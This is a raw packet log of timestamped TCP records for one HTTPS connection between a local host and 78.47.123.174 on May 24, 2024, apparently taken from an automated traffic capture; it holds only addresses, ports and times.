May 24, 2024 10:27:12.094943047 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.095048904 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.095077991 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.095118999 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.106082916 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.106110096 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.106189966 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.106204033 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.106241941 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.113878965 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.113949060 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.113975048 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.114032030 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.114119053 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.114182949 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.122869968 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.122920036 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.122982979 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.123002052 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.123039961 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.123078108 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.135096073 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.135142088 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.135220051 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.135237932 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.135265112 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.135308027 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.140783072 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.140826941 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.140868902 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.140877008 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.140909910 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.140927076 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.153156996 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.153208017 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.153269053 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.153295994 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.153337002 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.153337002 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.171525955 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.171572924 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.171751022 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.171783924 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.171829939 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.185451031 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.185503006 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.185556889 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.185585022 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.185621977 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.185642004 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.192095041 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.192118883 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.192173004 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.192187071 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.192218065 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.192226887 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.202469110 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.202506065 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.202610016 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.202639103 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.202681065 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.202699900 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.213581085 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.213603020 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.213695049 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.213715076 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.213756084 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.219063997 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.219082117 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.219177008 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.219186068 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.219221115 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.230916977 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.230945110 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.231105089 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.231142044 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.231194973 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.244086981 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.244112968 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.244240046 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.244271040 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.244317055 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.261939049 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.261960983 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.262034893 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.262054920 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.262094021 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.273859024 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.273880959 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.274007082 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.274033070 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.274085045 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.282675028 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.282691956 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.282783031 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.282797098 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.282862902 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.293034077 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.293045998 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.293106079 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.293116093 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.293167114 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.312418938 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.312433958 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.312513113 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.312526941 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.312566042 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.316800117 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.316812992 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.316876888 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.316885948 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.316947937 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.321610928 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.321624041 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.321675062 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.321683884 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.321713924 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.321731091 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.334773064 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.334810972 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.334925890 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.334953070 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.335009098 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.353281021 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.353301048 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.353436947 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.353483915 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.353543043 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.364734888 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.364762068 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.364830971 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.364839077 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.364897966 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.373905897 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.373927116 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.373989105 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.373999119 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.374037027 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.384581089 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.384603977 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.384686947 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.384702921 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.384779930 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.394752979 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.394787073 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.394867897 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.394881964 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.394942045 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.400626898 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.400643110 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.400712967 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.400723934 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.400760889 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.412838936 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.412866116 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.412939072 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.412961006 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.413001060 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.426464081 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.426500082 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.426568031 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.426588058 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.426614046 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.426637888 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.444211960 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.444246054 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.444344997 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.444359064 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.444416046 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.458251953 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.458271027 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.458342075 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.458354950 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.458410978 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.465251923 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.465284109 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.465368032 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.465380907 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.465421915 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.475332022 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.475373030 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.475464106 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.475476980 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.475534916 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.485893011 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.485914946 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.485961914 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.485972881 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.486013889 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.486031055 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.495265961 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.495280981 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.495358944 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.495367050 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.495404959 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.503675938 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.503693104 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.503796101 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.503804922 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.503844976 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.517576933 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.517600060 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.517688036 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.517694950 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.517754078 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.535471916 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.535495043 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.535604000 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.535672903 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.535743952 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.550148964 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.550223112 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.550277948 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.550292969 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.550331116 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.550348997 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.555720091 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.555748940 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.555809975 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.555821896 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.555851936 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.555870056 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.566350937 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.566399097 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.566442966 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.566454887 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.566493034 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.577816010 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.577868938 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.577929020 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.577941895 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.577961922 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.577982903 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.582798004 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.582855940 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.582910061 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.582926035 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.582938910 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.582973003 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.594762087 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.594826937 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.594866037 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.594887972 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.594903946 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.594927073 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.609507084 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.609571934 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.609647036 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.609668016 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.609704018 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.609720945 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.625912905 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.625962973 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.626029968 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.626041889 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.626204967 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.626204967 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.641557932 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.641618013 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.641745090 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.641774893 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.641933918 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.647423983 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.647469997 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.647528887 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.647541046 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.647574902 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.647598982 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.657690048 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.657744884 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.657888889 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.657898903 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.657928944 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.657953978 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.668894053 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.668936968 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.669059992 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.669071913 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.669111967 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.675126076 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.675167084 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.675218105 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.675250053 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.675261974 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.675296068 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.685503006 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.685544014 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.685614109 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.685621023 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.685647011 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.685652971 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.701030970 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.701071024 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.701122046 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.701131105 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.701163054 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.701183081 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.717109919 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.717156887 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.717242002 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.717261076 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.717315912 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.717335939 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.733342886 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.733387947 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.733494997 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.733508110 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.733536005 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.733566046 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.746593952 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.746643066 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.746748924 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.746759892 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.746769905 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.746798992 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.750475883 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.750538111 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.750582933 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.750590086 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.750631094 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.750674009 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.760155916 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.760206938 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.760268927 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.760296106 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.760320902 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.760332108 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.768851995 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.768872976 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.768971920 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.768985987 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.769018888 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.778537035 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.778554916 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.778614998 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.778620958 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.778660059 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.791796923 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.791835070 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.791887999 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.791894913 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.791924000 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.791960001 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.814882040 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.814928055 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.814986944 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.815002918 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.815031052 CEST	49748	443	192.168.2.4	78.47.123.174
